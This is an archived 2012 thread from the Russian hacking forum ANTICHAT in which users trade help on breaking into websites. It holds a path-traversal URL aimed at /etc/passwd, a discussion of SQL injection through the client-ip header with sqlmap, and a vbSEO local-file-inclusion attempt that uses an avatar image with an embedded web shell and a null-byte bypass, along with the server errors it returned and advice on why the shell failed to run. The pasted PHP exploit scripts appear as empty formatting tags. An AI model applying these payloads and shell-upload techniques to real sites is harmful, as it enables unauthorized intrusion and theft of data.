ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
31.05.2012, 22:38
|
|
Guest
Сообщений: n/a
Провел на форуме:
0
Репутация:
0
|
|
Не возможно пойти назад. http://site.ru/nastroyki.php?a=igry_java&id=../../../../../../../../etc/passwd Есть альтернатива обратному пути? То есть символу ../
|
|
|
|
01.06.2012, 06:58
|
|
Guest
Сообщений: n/a
Провел на форуме:
102354
Репутация:
267
|
|
winstrool,
ему надо, чтоб в хидерах.
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
Так? Не?
|
|
|
|
01.06.2012, 15:01
|
|
Новичок
Регистрация: 03.12.2008
Сообщений: 5
Провел на форуме:
597696
Репутация:
1
|
|
спасибо Ereee,winstrool за предоставленные скрипты
вариант Ereee дампит пустые строчки,мб ошибка в... ?
Код:
Code:
preg_match("#|||(.*)|||#", $source, $data);
Сообщение от xcedz
xcedz said:
чего бросать то
. Юзаем sqlmap
очень хотелось бы sqlmap'ом,удобная тулза...но как я ни старался,проверял при level=5 и risk=3,указывал параметр "client-ip",добавлял --headers="client-ip: *" - sqlmap не находил скулю...он проверяет куки,юзер-агент,реферер,хост,но не client-ip...погуглил,похоже что поддержки иньекций в других хэдерах ещё нет( |
|
|
01.06.2012, 15:12
|
|
Guest
Сообщений: n/a
Провел на форуме:
102354
Репутация:
267
|
|
Пробелы удалил? Раскрученную скулью поставил?
|
|
|
|
01.06.2012, 15:34
|
|
Новичок
Регистрация: 03.12.2008
Сообщений: 5
Провел на форуме:
597696
Репутация:
1
|
|
Сообщение от Ereee
Ereee said:
Пробелы удалил? Раскрученную скулью поставил?
да, limit $1,1 добавлял...пробывал .$1,1...в браузере проверял,всё норм...странно
|
|
|
|
01.06.2012, 17:09
|
|
Guest
Сообщений: n/a
Провел на форуме:
102354
Репутация:
267
|
|
Тьфу! Имя переменной $i, а не $1 =\
|
|
|
|
01.06.2012, 17:43
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
Провел на форуме:
11937
Репутация:
0
|
|
Исправил код Ereee, теперь все работает проверял на себе
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
|
|
|
|
01.06.2012, 18:36
|
|
Новичок
Регистрация: 03.12.2008
Сообщений: 5
Провел на форуме:
597696
Репутация:
1
|
|
Сообщение от cat1vo
cat1vo said:
Исправил код
Ereee
, теперь все работает проверял на себе
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
рабочий вариант,благодарю
Сообщение от Ereee
Ereee said:
Тьфу! Имя переменной $i, а не $1 =\
я $i как раз и пробывал,всё равно чёт не дампил
|
|
|
|
02.06.2012, 00:44
|
|
Новичок
Регистрация: 30.05.2010
Сообщений: 10
Провел на форуме:
42585
Репутация:
0
|
|
в vbseo есть LFI, вида:
Код:
Code:
vbseo.php?vbseoembedd=1&vbseourl=
Загрузил на форуме аватар(внутри шелл), пытаюсь заинклюдить:
Код:
Code:
vbseo.php?vbseoembedd=1&vbseourl=avatars/users/38290.gif
Показывает просто напросто саму картинку
Попробывал с нулл байтом:
Код:
Code:
vbseo.php?vbseoembedd=1&vbseourl=avatars/users/38290.gif%00.php
Выдает ошибки:
Код:
Code:
Warning: require(38290.gif) [function.require]: failed to open stream: No such file or directory .../public_html/forum/vbseo.php on line 1544
Fatal error: require() [function.require]: Failed opening required '38290.gif' (include_path='.:/usr/local/lib/php') iny .../public_html/forum/vbseo.php on line 1544
|
|
|
|
02.06.2012, 09:45
|
|
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
Провел на форуме:
346497
Репутация:
303
|
|
Сообщение от Cherep
Cherep said:
в vbseo есть LFI, вида:
Код:
Code:
vbseo.php?vbseoembedd=1&vbseourl=
Загрузил на форуме аватар(внутри шелл), пытаюсь заинклюдить:
Код:
Code:
vbseo.php?vbseoembedd=1&vbseourl=avatars/users/38290.gif
Показывает просто напросто саму картинку
Попробывал с нулл байтом:
Код:
Code:
vbseo.php?vbseoembedd=1&vbseourl=avatars/users/38290.gif%00.php
Выдает ошибки:
Код:
Code:
Warning: require(38290.gif) [function.require]: failed to open stream: No such file or directory .../public_html/forum/vbseo.php on line 1544
Fatal error: require() [function.require]: Failed opening required '38290.gif' (include_path='.:/usr/local/lib/php') iny .../public_html/forum/vbseo.php on line 1544
Учите матчасть Уважаемый прежде чем задавать подобные вопросы.
Во первых: Необходимо убедиться что после залития аватарки PHP код внутри файла сохранился в целостности. Собственно ,скорее всего, картинка сконвертилась или рекодилась в результате чего код `побился` и естественно не выполняется при выполнении остальных условий инклуда.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
